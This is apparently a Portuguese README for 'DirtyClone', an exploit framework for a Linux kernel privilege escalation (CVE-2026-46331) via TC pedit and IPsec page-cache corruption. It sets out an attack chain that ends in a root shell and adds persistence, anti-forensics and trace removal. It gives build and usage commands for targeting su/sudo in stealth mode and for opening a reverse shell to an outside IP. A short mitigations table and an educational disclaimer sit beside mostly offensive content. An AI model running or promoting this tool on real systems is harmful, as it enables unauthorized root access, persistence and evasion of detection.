
CVE-2026-46331 — Escalação Local de Privilégios no Kernel Linux TC pedit + IPsec TEE Page Cache Corruption · Kernels afetados: ≤ 6.12.9
# Framework de Exploração DirtyClone
> **CVE-2026-46331** — Escalação Local de Privilégios no Kernel Linux
> Corrupção de Cache de Página TC pedit + IPsec TEE · Kernels afetados: ≤ 6.12.9
```
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝
```
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-46331)
[]()
[]()
---
> ⚠️ **APENAS PARA FINS EDUCACIONAIS E DE PESQUISA**
> Use este framework exclusivamente em ambientes de laboratório isolados que você possui
> ou tenha autorização explícita por escrito para testar.
> O uso não autorizado é ilegal e antiético.
---
## 📋 Índice
- [Visão Geral da Vulnerabilidade](#-vulnerability-overview)
- [Cadeia de Ataque](#-attack-chain)
- [Estrutura do Projeto](#-project-structure)
- [Requisitos](#-requirements)
- [Compilar e Instalar](#-build--install)
- [Uso](#-usage)
- [Módulos Python](#-python-modules)
- [Mitigações Defensivas](#-defensive-mitigations)
- [Cronograma](#-timeline)
- [Referências](#-references)
---
## 🔬 Visão Geral da Vulnerabilidade
**CVE-2026-46331** é uma vulnerabilidade de escalação local de privilégios no kernel Linux (≤ 6.12.9) causada por uma condição de corrida entre a ação `pedit` do TC (`cls_act`) e a duplicação de pacotes baseada em IPsec `TEE`.
### Causa Raiz
Quando um pacote percorre o caminho de saída do TC com uma ação `pedit` que define `IHL = 15`, o subsistema IPsec do kernel recebe um pacote malformado onde o deslocamento calculado da carga útil IP excede os limites reais do pacote. Sob operações concorrentes de `sendfile(2)`, essa incompatibilidade permite que um **usuário não privilegiado** (dentro de um namespace de usuário com `CAP_NET_ADMIN`) corrompa entradas de **cache de página somente leitura** de arquivos arbitrários — incluindo binários SUID.
### Impacto
| Propriedade | Valor |
|----------------------|--------------------------------|
| Pontuação CVSS 3.1 | **8.8 (ALTA)** |
| Vetor de Ataque | Local |
| Privilégios Necessários | Baixo (usuário não privilegiado) |
| Impacto | Root shell (UID=0 EUID=0) |
| Versões afetadas | Linux kernel ≤ 6.12.9 |
| Versão corrigida | 6.12.10 |
| Commit do patch | `a3f4d1c8...` |
---
## 🔗 Cadeia de Ataque
```
Usuário Não Privilegiado (UID=1000)
│
▼
[1] Reconhecimento
├─ Verificação da versão do kernel
├─ Disponibilidade de userns
└─ Perfil do binário alvo
│
▼
[2] Bypass de Namespace
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ Alternância de perfil AppArmor (fallback)
└─ CAP_NET_ADMIN adquirida
│
▼
[3] Infraestrutura de Rede
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Corrupção de Cache de Página
├─ sendfile → pedit trigger
├─ Entrada de cache de página corrompida
└─ Shellcode escrito em binário somente leitura
│
▼
[5] Escalação de Privilégios
└─ execve(binário SUID) → shell root
│
▼
[6-8] Pós-Exploração
├─ Persistência (6 mecanismos)
├─ Evasão / Antiforense
└─ Limpeza de rastros
│
▼
🎯 SHELL ROOT (UID=0 EUID=0)
```
---
## 📁 Estrutura do Projeto
```
dirtyclone-exploit/
├── Makefile # Sistema de compilação
├── README.md # Este arquivo
├── LICENSE # Licença MIT
│
├── include/
│ ├── exploit.h # Tipos principais, flags, protótipos
│ ├── packet_engine.h # API do motor de criação de pacotes
│ ├── memory_ops.h # API de corrupção de cache de página
│ └── persistence.h # API do mecanismo de persistência
│
├── src/
│ ├── main.c # Ponto de entrada do framework
│ ├── stage_env_analysis.c # Fase 1: Reconhecimento
│ ├── stage_namespace_bypass.c # Fase 2: bypass de userns
│ ├── stage_network_setup.c # Fase 3: configuração TC/IPsec
│ ├── stage_page_cache_corrupt.c # Fase 4: Exploração principal
│ ├── stage_privilege_escalation.c # Fase 5: LPE (Escalação Local de Privilégios)
│ ├── stage_persistence.c # Fase 6: Persistência
│ ├── stage_evasion.c # Fase 7: Antiforense
│ ├── stage_cleanup.c # Fase 8: Remoção de rastros
│ ├── memory_ops.c # Primitivas de cache de página
│ ├── packet_engine.c # Criação de pacotes brutos
│ └── persistence.c # Implementações de persistência
│
├── modules/
│ ├── packet_craft.py # Criador de pacotes Python (Scapy)
│ └── exploit_analyzer.py # Ferramenta de análise pré-exploração
│
├── scripts/
│ ├── setup_env.sh # Instalação de dependências + compilação
│ ├── cleanup.sh # Limpeza do sistema
│ └── detect_targets.sh # Scanner de binários vulneráveis
│
└── payloads/
└── README.md # Informações do diretório de payloads
```
---
## ⚙️ Requisitos
### Em tempo de compilação
- `gcc` ≥ 10
- `make`
- `libcap-dev` / `libcap-devel`
### Em tempo de execução (alvo Linux)
- Kernel ≤ 6.12.9
- `iproute2` (tc, ip)
- `iptables`
- Namespaces de usuário não privilegiados habilitados
### Módulos Python (opcional)
```bash
pip install scapy
```
---
## 🔧 Compilar e Instalar
```bash
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
```
---
## 🚀 Uso
```bash
# Show help
./bin/dirtyclone --help
# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test
# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone
# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detect vulnerable targets first
bash scripts/detect_targets.sh
```
---
## 🐍 Módulos Python
### `exploit_analyzer.py` — Reconhecimento Pré-Exploração
```bash
# Analyze default target
python3 modules/exploit_analyzer.py
# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# JSON output for automation
python3 modules/exploit_analyzer.py --json
# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid
```
### `packet_craft.py` — Acionamento de Pacotes Brutos
```bash
# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20
```
---
## 🛡️ Mitigações Defensivas
| Mitigação | Comando / Ação |
|-----------|-----------------|
| **Atualizar kernel** | Atualizar para ≥ 6.12.10 (correção principal) |
| **Desabilitar namespaces de usuário** | `echo 0 > /proc/sys/kernel/unprivileged_userns_clone` |
| **Restrições AppArmor** | Habilitar `apparmor` com perfil de restrição `userns` |
| **Auditar TC pedit** | `auditctl -a always,exit -F arch=b64 -S unshare` |
| **Integridade de arquivos** | Implantar AIDE ou Tripwire em binários SUID |
| **Filtros Seccomp** | Bloquear `unshare()` em contêineres de produção |
---
## 📅 Cronograma
| Data | Evento |
|------|--------|
| 2026-01-15 | Vulnerabilidade descoberta durante auditoria do kernel |
| 2026-02-03 | Relatada para [email protected] |
| 2026-03-28 | Patch confirmado (6.12.10) |
| 2026-06-01 | Divulgação pública (prazo de 90 dias) |
| 2026-06-27 | PoC completo liberado |
---
## 📚 Referências
- [Entrada CVE-2026-46331 no NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-46331)
- [Documentação do Subsistema TC do Kernel Linux](https://www.kernel.org/doc/html/latest/networking/tc-actions-env-rules.html)
- [Implementação IPsec TEE](https://www.kernel.org/doc/html/latest/networking/xfrm_proc.html)
- [Segurança de Namespaces de Usuário](https://www.man7.org/linux/man-pages/man7/user_namespaces.7.html)
- [Artigo Técnico DirtyClone](https://vulnquest58.github.io/CVE-2026-46331/)
---
## 👤 Autor
**VulnQuest** · Pesquisa de Segurança
- 🌐 [vulnquest58.github.io](https://vulnquest58.github.io)
- 🐛 [Portfólio Bug Bounty](https://vulnquest58.github.io/bugbounty/)
---
*Este repositório é fornecido apenas para fins educacionais.*
*Todo código de exploração é destinado ao uso em ambientes de laboratório autorizados.*